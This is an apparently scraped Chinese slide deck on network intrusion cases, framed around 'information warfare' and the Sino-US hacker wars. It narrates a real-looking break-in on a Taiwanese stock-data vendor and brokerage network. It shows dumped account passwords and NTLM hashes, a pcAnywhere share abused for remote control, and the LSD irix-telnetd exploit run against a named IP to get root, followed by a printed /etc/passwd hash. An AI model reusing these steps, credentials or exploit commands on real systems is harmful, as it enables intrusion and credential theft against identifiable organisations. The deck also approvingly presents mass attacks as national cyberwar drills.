《网络入侵案例浅析》由会员分享，可在线阅读，更多相关《网络入侵案例浅析（32页珍藏版）》请在金锄头文库上搜索。
1、网络入侵案例浅析主讲人：舒永杰(旷无匹)信息战攻防体系的的最关键因素和一切科学领域一样，在把握事物的规律的基础上解决问题才是成功的途径。举例说 明：DDoS这种最简单的多打一的攻击手段曾一度导致股市动荡，专家束手；高位(如128位)加密算法用纯粹的解密算法几乎没有可能破解，但有人找到了随机数生 成器(47位)这一弱点，成功地破解了128位的加密算法。微软和网警浏览器的加密机制就是用这种方法破解的。善守者，敌不知其所攻。以色列黑客大会有一位黑客设置了一个看上去不设防的NT系 统任人进攻，结果没有一位黑客成功；反而是那些安全公司设的看上去防守严密的系 统，全部在黑客的进攻下一一落败。原因就在于前者
2、什么都开放，但什么都是精心设 置的陷阱，攻击者根本就不知道从哪里入手，处处陷入迷途。通俗点说，网络安全的攻防，实际上就是寻找漏洞和堵住漏洞的较量。攻其不守，则 攻无不胜；守其必攻，则守无不固。但是在攻和守的较量中，很讲究战术和策略，否 则只能是单兵作战。一言以蔽之，发挥中国人的聪明才智，加强基础理论研究，是信息战取得胜利的坚实 基础。在传统战争中，讲究以智取胜，兵法是制胜的法宝。而在信息战中，同样讲究方法，否则再高明的黑客，再底层的技术，都只能限于单点 攻击，难以形成规模效益，难以取得决定性的战果。几年前5月的一次中国红客的攻击行动，所采用的大多是一些常用的攻击手段，美国被 攻陷的网站，几乎有
3、90%都是WindowsNT和Windows2000。从结果来看，以商业网站 为主，政府网站并不多。这与两年前的58事件引起的中美黑客战，和李登辉两国论引 起的中美黑客战有所不同。上两次，各种Unix的网站几乎都有。这次黑客大战所使用 的手段显然简单了点，参加的人员经验相对来说也浅一些，但组织比上两次都要好。 不排除这次有少量高手参加。而美国黑客这次参战的主力，是PoizonBox和 Prophet两个黑客组织。他们的水平也不 高。这次中国被黑的网站多半层次不高，大多是一些地方政府网站和企业网站。这次 出手的美国黑客在行动上没有中国黑客组织得好。双方参战者的水平半斤八两，即使 有差距也很小。安
4、全界和黑客界有一种说法，这次行动的技术等级比较低，这我认同；双方大多都是 使用一些在Internet上可以找到的现成工具；但从信息战的角度看，这次行动的意义可 不低。这是中国网民，拿起网络的攻击性武器的一次大演练。象DDoS这种低级的多打 一的手段，可以造成2000年股市动荡，说明简单的手段可能是威胁最大的。综观有 Internet以来的重大黑客事件，使用的手段都不高明，如蠕虫事件、缓冲区溢出攻击、DDoS攻击、爱虫病毒，都是使用的成熟技术，也都是高手们司空见惯的，不怎么放在 眼里的技术，但他们带来的威胁，和动荡，却是可怕的。只有简单的东西，才能被广泛流传，并形成广大的杀伤力。国与国的信息战，
5、使用这 样的技术手段是正常的。至于突破国防部、防空司令部、核子部门这样的事情，就留 给少数的高手去做吧。银行系统安全现状比喻图某券商与银行网络关系图(典型远程入侵案例)行情服务器网络公司券商局域网银行数据网络系统维护介质：Internet数 据 维 护介 质 公 网数据更新传递介质：电话线网络关系图证券行情网页这是台湾证券交易所的行情数据，行情服务器 的地址是 .tw,查看首页情况/是谁维护？证交所把 维护权限 交给了一 家网络公 司，从光 标处，黑 客找到了 维护行情 服务器的 网络公司 网站地址这是这 家网络 公司的 网页Ping .twPinging .tw 61.218.27.100
6、with 32 bytes of data:Reply from 61.218.27.100 : bytes=32 time=40ms TTL=124 Reply from 61.218.27.100 : bytes=32 time=40ms TTL=124 Reply from 61.218.27.100 : bytes=32 time=40ms TTL=124 Reply from 61.218.27.100 : bytes=32 time=40ms TTL=124Ping statistics for 61.218.27.100:Packets: Sent = 4, Received =
7、 4, Lost = 0 ,Approximate round trip times in milli-seconds:Minimum = 61 ms, Maximum = 481ms, Average =173msC:C:开始分析网络公司的服务器黑客 试图 获取 网络 公司 的IP 地址扫描网络公司服务器该服务 器存在 NT用户 列举漏 洞，并 且由于 帐号设 置问题 ，允许 黑客猜 测用户 名口令脆弱的一个现实例子Administrator:“HISENSE302“:“hisense302“:8D66DEEC3D3420D7A149CDD6D75EA13F:0 FF3BD542BAB2BE
8、DDF54DA6CE632CEB0 Guest:“NO PASSWORD“:“NO PASSWORD“:NO PASSWORD:NO PASSWORD PL3000$:“:“:49E3AE41DDD72B28A07CB9DE86185F39:77C646AC657F870CD1C29DC 03A881BFD sqladministrator:“HISENSE302302“:“hisense302“:8D66DEEC3D3420D7A149CDD6D75EA 13F:0FF3BD542BAB2BEDDF54DA6CE632CEB0 SQLAgentCmdExec:“?P“:“:B2F1556DD
9、BF2DC558B0EA5A7DF135B03:6CF0295E 70C80D057BAAF50767500E1A hisense:“HISENSE123“:“hisense123“:10AB191E0538E6BCCCF9155E3E7DB453:656032 48E93E7CFCCC0498AF4A497315 scwl:“?7SCWL“:“:9140205BBDA60D2627FDE4BB77DD12B0:4A5C434E2A231D BE658297FBAA720FAC master:“?302“:“:8D66DEEC3D3420D7A149CDD6D75EA13F:0FF3BD542
10、BAB2BE DDF54DA6CE632CEB0 weishaocheng:“:“:AC42B9669DA33426AAD3B435B51404EE:A2C8230CE601F2543E42 D06445FAB487 test:“?302“:“:8D66DEEC3D3420D7A149CDD6D75EA13F:0FF3BD542BAB2BEDD F54DA6CE632CEB0 YXZX$:“NULL PASSWORD“:“NULL PASSWORD“:NULL PASSWORD:NULL PASSWORD kaixun:“?HENG“:“:9AB6AE3152A414E156B827F7BC8
11、97198:75C2EEB3F3247A7 0A9929E9D14FD8B18 office:“?CB”:“”:0EB9E33E1E694DDA0C343AB807CEB206:606186073A86F44E98 DB20AE5810E0DF shumin:“?U”:“”:AF2713AD2A587ACF613E9293942509F0:34376551117ED54E172 5ACD7988D69F 访问文件共享黑客通 过对方 设置的 开放共 享，获 得了 pcANYWHERE目 录的访 问权限 ，可写黑客通 过在 pcANY WHERE 目录下 放置一 个无需 密码配 置文件, 轻易获
12、取完全 远程控 制权Windows NT IP ConfigurationEthernet adapter NE20002:IP Address. . . . . . . . . : 192.168.1.143Subnet Mask . . . . . . . . : 255.255.255.0Default Gateway . . . . . . :Ethernet adapter NTSPPPOE3:IP Address. . . . . . . . . : 61.218.27.100Subnet Mask . . . . . . . . : 255.255.255.0Default Ga
13、teway . . . . . . : Ethernet adapter RTL81391:IP Address. . . . . . . . . : 192.168.0.60Subnet Mask . . . . . . . . : 255.255.255.0Default Gateway . . . . . . : ipconfigC:黑客已经获取了网络公司服务器的权限，开始在 上面执行指令，查看到这个服务器有三块网卡， 至少连接着两个局域网黑客发现这台机器上存在另一台机器的磁盘映射， 也就是说，在这台机器上可以访问另一台机器上的 文件，另一台机器正好就是行情服务器 .tw黑客用这台服务器
14、扫描另一个子网，发现就 是行情服务器所在的网络，这台服务器与行 情服务器同在一个子网黑客在F盘，也就是192.168.0.252，行情服 务器上发现了来自203.74.212.33的FTP上传 记录，这正是券商办公网的IP地址黑客开始对券商办公网段203.74.212.33所 在网段扫描，找到一台有远程登录服务的机 器203.74.212.233用nmap 扫描， 发现券 商办公 网的这 台服务 器是Irixbash-2.03# ls a irix-telnetcopyright LAST STAGE OF DELIRIUM jul 2000 poland /lsd- telnetd for
15、irix 6.2 6.3 6.4 6.5 6.5.8 IP:allUsage: ./irix-telnet address -v 62|63|64|65bash-2.03#-rwxr-xr-x 1 root root 30716 Apr 25 18:07 irix-telnetbash-2.03#./irix-telnet./irix-telnet 203.74.212.233 65 copyright LAST STAGE OF DELIRIUM jul 2000 poland /lsd- telnetd for irix 6.2 6.3 6.4 6.5 6.5.8 IP:all.IRIX 6.5-6.5.8m 6.5-6.5.7ftelnetd: no patchesIRIX resman4 6.5 10181058 IP22id uid=0 gid=0 cat /etc/passwd root:yE37XOWt1.icM:0:0:root:/root:/bin/bash bin:*:1:1:bin:/bin: daemon:*:2:2:daemon:/sbin: adm:*:3:4:adm:/var/adm: lp:*:4:7:lp:/var/spool/lpd: sync:*:5:0:sync:/sbin:/bin/sync shut
